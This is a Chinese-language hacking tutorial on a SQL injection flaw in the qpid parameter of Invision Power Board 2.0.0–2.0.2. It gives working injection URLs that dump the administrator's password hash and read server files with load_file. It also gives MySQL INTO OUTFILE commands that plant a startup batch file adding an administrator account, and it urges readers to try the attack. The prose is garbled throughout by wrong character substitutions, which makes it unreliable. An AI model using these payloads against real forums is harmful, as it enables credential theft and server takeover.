IPB漏洞再现江湖
文/图:softbug
任何论坛都不是绝对宁静的,前些日子不也是在传播动网7.0sp2的毛病吗?PHP的论坛也不闲着,本日我们就来看看一款PHP论坛的ipb的毛病。申明一下:该毛病是外洋的宁静组织RusH security team首先发明的。
该毛病的描述见下:
由于IpB在复兴发贴的时候qpid参数过滤不周,导致UNION语句的执行。乐成执行的结果可以执行SQL语句。至多我们可以得到办理员的密码HASH,从而诱骗进入后台。收该毛病影响的版本为:Ipb2.0.0 - 2.0.2。直接根据RusH security team的操作来做。结果失败。没措施,只好把源文件抓出来阐发。
一. 毛病的阐发
下载一个IPB2.0的版本来看看,找到源文件有题目的地方,注意一下,统统都在magic_quote=on的条件下举行的:
代码
if ( ! $ibforums->input['qpid'] )
{
$ibforums->input['qpid'] = preg_replace( "/[^,\d]/", "", trim($std->my_getcookie('mqtids')) );
if ($ibforums->input['qpid'] == ",")
{
$ibforums->input['qpid'] = "";
}
}
else
{
//-----------------------------------------
// Came from reply button
//-----------------------------------------
$ibforums->input['parent_id'] = $ibforums->input['qpid'];
}
if ( $ibforums->input['qpid'] )
{
$std->my_setcookie('mqtids', ',', 0);
$this->quoted_pids = preg_split( '/,/', $ibforums->input['qpid'], -1, PREG_SPLIT_NO_EMPTY );
//-----------------------------------------
// Do we have right and snapback in BBCode?
//-----------------------------------------
if ( is_array( $ibforums->cache['bbcode'] ) and
......(以下省略几行)
if ( count($this->quoted_pids) )
{
$DB->cache_add_query( 'post_get_quoted', array( 'quoted_pids' => $this->quoted_pids ) );
$DB->cache_exec_query();
.......
程序首先把传入的qpid作正则替换,要求qpid的情势为:xx,xx,xx这样的数字支解情势。如果正则替换后的qpid为空,那么程序就把pqid设置为空。得到不为空的qpid后,程序把它分开成数组(逗号分开的);最后检查quoted_pids数组的个数如果不为灵的话就执行关键的MYSQL盘问。为了得到这个盘问地点,我们在程序中设置断点,结果在程序页面内里得到了这样的MySQL盘问语句:
select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id) WHERE pid IN (23,12)SELECT p.*, m.mgroup FROM ibf_posts p LEFT JOIN ibf_members m ON (m.id=p.author_id) WHERE topic_id=2 and queued <> 1 ORDER BY pid DESC LIMIT 0,10
看到pid in (23,12)这个数值了吗?实在"23,12"这个东西就是从qpid这个值内里传出来的。Ok,现在我们可以用一句话UNION得到办理员的密码。我象结构 Union语句我就不用多表明了。我是这样结构的:
http://xx.xx.xx.xx/ipb2/index.php?s=432db2970909962429a6b2124109048c&act=POST&CODE=02&f=2&t=1&qpid=66666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),member_login_key),1,1,1,1,1,1,1,1,1%20from%20ibf_members%20where%20id=1%20/*
呵呵,结果我们乐成的在网页内里读到了用户ID=1的密码HASH。当然了,MYSQL语句是你本身的,你想怎样玩就怎样玩。看看咋们的结果吧:
看到了吧,root的hash值:e12241b318807c66c37134c35f882ad6.。
CONCAT(id,char(58),name,char(58),member_login_key)这个就是UNION的暴出语句。快去尝尝吧。
二. 更进一步的发掘毛病
毛病既然可以让我们结构UNION语句,那么为什么我们不可以直接使用loadfile 得到文件内容呢。Loadfile需要支持绝对路径,只需我们有措施得到网站的绝对路径,那么直接拿\ips_kernel\ class_db_mysql.php的东西不是题目吧。我在当地的文件路径是:C:\AppServ\www\ipb2\ 现在我们就来提取该目次下面的admin.php文件。当然了,这个路径我们要编码一下。见下图:
呵呵,替换下面的字符,我们得到:
http://xx.xx.xx.xx/ipb2/index.php?s=432db2970909962429a6b2124109048c&act=POST&CODE=02&f=2&t=1&qpid=66666)%20union%20select%201,1,1,1,1,1,1,1,1,1,load_file(char(67,58,92,65,112,112,83,101,114,118,92,119,119,119,92,105,112,98,50,92,97,100,109,105,110,46,112,104,112)),1,1,1,1,1,1,1,1,1%20from%20ibf_members%20where%20id=1%20/*
哈哈,很顺遂的就得到了admin的源代码了:
请你不要问我,怎样得到程序的绝对路径好吗。这个是你看这个文章的底子,也是促使你不停学习的地方。保存一招好了。:-)。
三. 假定的打击
假定下面的东西你都市了。那么你需要怎样样的进一步生长得到webshell呢?
1. 得到数据库的密码,从数据库导出一个wenshell
2. 得到admin的密码hash,直接用办理员登陆,上传木马
3. 用mysql直接往服务器的"C:\Documents and Settings\"目次写启动文件(限windows):
INSERT INTO shell ( shell ) VALUES ('net localgrorp administrators softbug /add
');
SELECT * FROM shell into outfile 'C:\Documents and Settings\Administrator\ 「开端」菜单 \程序\启动\ccc.bat';
SELECT * FROM shell into outfile 'C:\Documents and Settings\All Users\ 「开端」菜单 \程序\启动\ccc.bat';
SELECT * FROM shell into outfile 'C:\Documents and Settings\Administrator \ 「开端」菜单 \程序\启动\ccc.bat';
剩下的就等办理员启动盘算机吧。
4.Cookies诱骗,这个可能简单点.
四. 跋文
实在PHP注入不是你想象中的那么复杂,人人只需稍微学习了都市。这里我想说一下,我在调式这个程序的时候使用了php5.01的版本,可能版本太新,导致程序没措施安装,我的解决措施见下:
打开windows目次下面的设置装备摆设php.ini
找到extension_dir = "./" 改为 extension_dir = "c:/php/ext"
c:/php是你的PHp安装目次。找到;extension=php_mysql.dll 将';'去掉。
重新启动Apache就ok了。
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|